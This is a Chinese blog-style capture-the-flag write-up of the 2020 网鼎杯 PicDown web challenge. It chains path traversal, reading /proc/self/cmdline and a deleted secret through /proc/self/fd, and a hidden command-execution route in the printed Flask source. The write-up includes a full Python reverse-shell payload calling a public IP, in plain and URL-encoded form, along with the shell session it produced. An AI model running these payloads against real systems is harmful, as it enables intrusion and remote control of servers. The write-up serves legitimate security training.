[网鼎杯 2020 白虎组]PicDown

本文详细介绍了Linux系统中/proc文件系统的使用,展示了如何通过proc目录获取进程信息,尤其是如何利用文件描述符找回已删除文件内容,并利用'/proc/self/cmdline'获取关键文件路径,进而实现shell反弹。案例涉及app.py文件和/no_one_know_the_manager路由的安全漏洞利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[网鼎杯 2020 白虎组]PicDown

打开网页发现输入文本框,有可能是读取文件,输入:

../../../../../etc/passwd

或者

/etc/passwd

文件用记事本打开后:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000::/home/app:/bin/sh

说明可以任意文件下载。

proc是什么?

系统中当前运行的每一个进程都有对应的一个目录在 proc 下,以进程的 PID 号为目录名,它们是读取进程信息的接口。而 self 目录则是读取进程本身的信息接口,是一个 link。

References

简析Linux中 /proc/[pid] 目录的各文件

/proc文件系统中,每一个进程都有一个相应的文件。下面是/proc目录下的一些重要文件,pid是进程的标号:

  • /proc/pid/cmdline 是一个只读文件,包含进程的完整命令行信息
  • /proc/pid/cwd 包含了当前进程工作目录的一个链接
  • /proc/pid/environ 包含了可用进程环境变量的列表
  • /proc/pid/exe 包含了正在进程中运行的程序链接
  • /proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接
  • /proc/pid/mem 包含了进程在内存中的内容
  • /proc/pid/stat 包含了进程的状态信息
  • /proc/pid/statm 包含了进程的内存使用信息

References

https://blog.youkuaiyun.com/shenhuxi_yu/article/details/79697792

在文本框内输入:

/proc/self/cmdline

文件用记事本打开后:

python2 app.py

发现app.py文件,在文本框内输入:

app.py

文件用记事本打开后:

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)

@app.route('/')
def index():
    return render_template('search.html')

@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)

@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

路由/no_one_know_the_manager页面下接收keyshell参数,要求key == SECRET_KEY。但输入:

/tmp/secret.txt

访问不了。

f = open(SECRET_FILE)这句话说明这个文件是被open函数打开的,所以会创建文件描述符。程序读取完SECRET_KEY会删除/tmp/secret.txt,但在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(如os.remove(SECRET_FILE))删除之后,在/proc这个进程的pid目录下的fd文件描述符目录下还是会有这个文件的fd,通过这个我们即可得到被删除文件的内容。

文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。在程序设计中,一些涉及底层的程序编写往往会围绕着文件描述符展开。

References

文件描述符(File Descriptor)简介

网鼎杯白虎组web - PicDown_Arnoldqqq的博客-优快云博客

https://blog.youkuaiyun.com/SopRomeo/article/details/105653176

fd目录下保存的文件都是以数字存储的,用burp Suite爆破看看哪个数字的文件夹存在内容。

输入url:

/page?url=/proc/self/fd/3

文件用记事本打开后:

YjUCZEYHMahwnWQ0eqTAEX9QyvPLaJAkyS5+qPgMMPI=

这就是我们需要get上去的密钥。以下分两种方法反弹终端,请自行选用:

  1. 如果用BUUCTF自己的服务器:

用隐私窗口在BUUCTF创建一个新账号,在Basic分类开启Linux Labs靶机,分配给我的ip为:node4.buuoj.cn:28088,在本地shell里输入命令:

ssh root@node4.buuoj.cn -p 28088

输入密码123456。登陆后输入命令:

nc -lvvp 1515

在本地用ping命令查看node4.buuoj.cn对应的IP地址

ping node4.buuoj.cn

经测试不知道为什么BUUCTF的服务器不可用。。

  1. 如果使用自己的公网服务器:

在本地用 ssh 登录自己的服务器。登陆后输入命令:

nc -lvvp 1515

在我这里ip101.35.126.83,payload:

/no_one_know_the_mnager?key=YjUCZEYHMahwnWQ0eqTAEX9QyvPLaJAkyS5+qPgMMPI=&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("101.35.126.83",1515));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

key和shell需要经过经过url编码:

/no_one_know_the_manager?key=YjUCZEYHMahwnWQ0eqTAEX9QyvPLaJAkyS5%2BqPgMMPI%3D&shell=python%20%2Dc%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22101%2E35%2E126%2E83%22%2C1515%29%29%3Bos%2Edup2%28s%2Efileno%28%29%2C0%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C1%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C2%29%3Bp%3Dsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%29%3B%27

此时,服务器端已经进入终端,显示:

Listening on [0.0.0.0] (family 0, port 1515)
Connection from 117.21.200.166 7684 received!
/bin/sh: 0: can't access tty; job control turned off

输入:

$ ls
app.py
flag.sh
requirements.txt
templates

发现flag.sh文件:

$ cat flag.sh
#!/bin/sh

head -c 32 /dev/urandom | base64 > /tmp/secret.txt
echo $FLAG > /fefewklfueiwflag
chown app:app /tmp/secret.txt
export FLAG=flag_not_here
FLAG=flag_not_here
rm -rf /flag.sh

但并没有flag,尝试读取根目录文件:

$ cat /flag
flag{7ed758a2-56cd-43bf-af30-8185f1f6dad4}

成功读取flag。

References

python -c 妙用

https://blog.youkuaiyun.com/rfrder/article/details/112310943

利用python -c反弹shell

https://www.cnblogs.com/-chenxs/p/11748488.html

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值